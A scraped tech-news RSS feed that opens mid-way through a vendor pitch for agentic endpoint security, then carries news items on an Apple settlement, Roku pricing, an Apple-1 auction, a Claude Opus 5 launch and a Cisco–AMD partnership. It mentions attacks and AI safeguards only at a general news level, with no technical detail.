<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Hoping to Collect on Apple’s $250M AI iPhone Settlement? You’ll Have to Wait a Year]]></title>
<description><![CDATA[The company will pay some iPhone owners to settle a lawsuit, but following a development last week, it’s clear the legal machine grinds slowly.]]></description>
<link>https://tsecurity.de/de/3692637/it-nachrichten/hoping-to-collect-on-apples-250m-ai-iphone-settlement-youll-have-to-wait-a-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692637/it-nachrichten/hoping-to-collect-on-apples-250m-ai-iphone-settlement-youll-have-to-wait-a-year/</guid>
<pubDate>Fri, 24 Jul 2026 23:48:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company will pay some iPhone owners to settle a lawsuit, but following a development last week, it’s clear the legal machine grinds slowly.]]></content:encoded>
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<title><![CDATA[Roku Raises Prices of Streaming Devices By Up To 60%]]></title>
<description><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said...]]></description>
<link>https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</guid>
<pubDate>Fri, 24 Jul 2026 23:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said the company made the tough decision to raise prices on its streaming hardware to address shortages in computer memory and other components caused by the artificial intelligence rush. [...] Still, the executive who spoke with The Desk on Friday said the company believes its hardware is still competitive against other streaming TV hardware because Roku devices are still priced aggressively compared to the Apple TV and other expensive streaming hardware, and the company remains focused on looking at ways to add value to its Roku platform before and after it enters a customer's home. "We are doing our best to have great deals like what we have going on right now," the executive said. "Roku is even upping the price for a bundle that includes a Streaming Stick Plus and a one-month subscription to Fox One," notes Ars Technica in a separate report.
 
"As recently as July 20, Roku listed the bundle at $60 with a sale price of $25, according to the Internet Archive's Wayback Machine. Now, the bundle carries an $80 MSRP and $45 sale price."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/24/2059242/roku-raises-prices-of-streaming-devices-by-up-to-60?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[This Apple-1 auction expected to cost the winner as much as 275 iPhone 17 Pros]]></title>
<description><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and Steve Jobs memorabilia from Apple's earliest years.The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR AuctionsThe Apple-1 comes from Apple's second batch of 50 ...]]></description>
<link>https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692312/ios-mac-os/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and <a href="https://appleinsider.com/inside/steve-jobs" title="Steve Jobs" data-kpt="1">Steve Jobs</a> memorabilia from Apple's earliest years.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68357-144067-1039C832-5BB1-46DA-9996-DF1ACC1FE9B1-xl.jpg" alt="Open suitcase containing a vintage portable computer setup with a builtin keyboard and cassette recorder, shown on a plain white background." height="738"><span>The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR Auctions</span></div><br>The <a href="https://appleinsider.com/articles/25/07/29/rare-apple-memorabilia-macs-more-up-for-auction-ending-august-21" data-kpt="1">Apple-1</a> comes from Apple's second batch of 50 machines, according to the auction house. Known as the <a href="https://www.rrauction.com/auctions/lot-detail/351632707484040-apple-1-computer-the-neumark-apple-1-byte-shop-style-in-a-unique-smith-corona-typewriter-case-with-original-documentation-sold-internationally-in-1977/" data-kpt="1">"Neumark" computer</a>, it sits inside a modified Smith-Corona typewriter case and was restored to working condition by Apple-1 specialist Corey Cohen in June 2026.<br><br>Apple sold the Apple-1 as an assembled circuit board rather than a complete consumer computer, so buyers had to add the other components and an enclosure themselves. The Neumark machine stands out because it still works inside the suitcase. The auction also includes surviving documentation.<br><br>RR Auction's estimates aren't guarantees of what buyers will pay. Final prices will depend on how much competition each lot attracts before the sale closes.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/this-apple-1-auction-expected-to-cost-the-winner-as-much-as-275-iphone-17-pros?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245057?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Frontier AI and the Vulnerability Gap in OT]]></title>
<description><![CDATA[The landscape of cyber defense and offense is shifting beneath our feet. Over the past few weeks, the release of “frontier” AI models has accelerated the arms race, forcing a… The post Frontier AI and the Vulnerability Gap in OT…
Read more →
The post Frontier AI and the Vulnerability Gap in OT ap...]]></description>
<link>https://tsecurity.de/de/3692302/it-security-nachrichten/frontier-ai-and-the-vulnerability-gap-in-ot/</link>
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<pubDate>Fri, 24 Jul 2026 20:44:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The landscape of cyber defense and offense is shifting beneath our feet. Over the past few weeks, the release of “frontier” AI models has accelerated the arms race, forcing a… The post Frontier AI and the Vulnerability Gap in OT…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/frontier-ai-and-the-vulnerability-gap-in-ot/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/frontier-ai-and-the-vulnerability-gap-in-ot/">Frontier AI and the Vulnerability Gap in OT</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Frontier AI and the Vulnerability Gap in OT]]></title>
<description><![CDATA[The landscape of cyber defense and offense is shifting beneath our feet. Over the past few weeks, the release of “frontier” AI models has accelerated the arms race, forcing a...
The post Frontier AI and the Vulnerability Gap in OT appeared first on Cyber Defense Magazine.]]></description>
<link>https://tsecurity.de/de/3692256/it-security-nachrichten/frontier-ai-and-the-vulnerability-gap-in-ot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692256/it-security-nachrichten/frontier-ai-and-the-vulnerability-gap-in-ot/</guid>
<pubDate>Fri, 24 Jul 2026 20:18:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1024" height="768" src="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/Frontier-AI-and-the-Vulnerability-Gap-in-OT.png.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/Frontier-AI-and-the-Vulnerability-Gap-in-OT.png.jpg 1024w, https://www.cyberdefensemagazine.com/wp-content/uploads/2026/07/Frontier-AI-and-the-Vulnerability-Gap-in-OT.png-768x576.jpg 768w" sizes="(max-width: 1024px) 100vw, 1024px"><p>The landscape of cyber defense and offense is shifting beneath our feet. Over the past few weeks, the release of “frontier” AI models has accelerated the arms race, forcing a...</p>
<p>The post <a href="https://www.cyberdefensemagazine.com/frontier-ai-and-the-vulnerability-gap-in-ot/" data-wpel-link="internal">Frontier AI and the Vulnerability Gap in OT</a> appeared first on <a href="https://www.cyberdefensemagazine.com/" data-wpel-link="internal">Cyber Defense Magazine</a>.</p>]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Steam Machine kaufen: PC-Spieler sollten nicht warten]]></title>
<description><![CDATA[Die Preise für die Steam Machine können eigentlich nur nach oben gehen.]]></description>
<link>https://tsecurity.de/de/3692067/it-nachrichten/steam-machine-kaufen-pc-spieler-sollten-nicht-warten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692067/it-nachrichten/steam-machine-kaufen-pc-spieler-sollten-nicht-warten/</guid>
<pubDate>Fri, 24 Jul 2026 18:34:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Preise für die Steam Machine können eigentlich nur nach oben gehen.]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
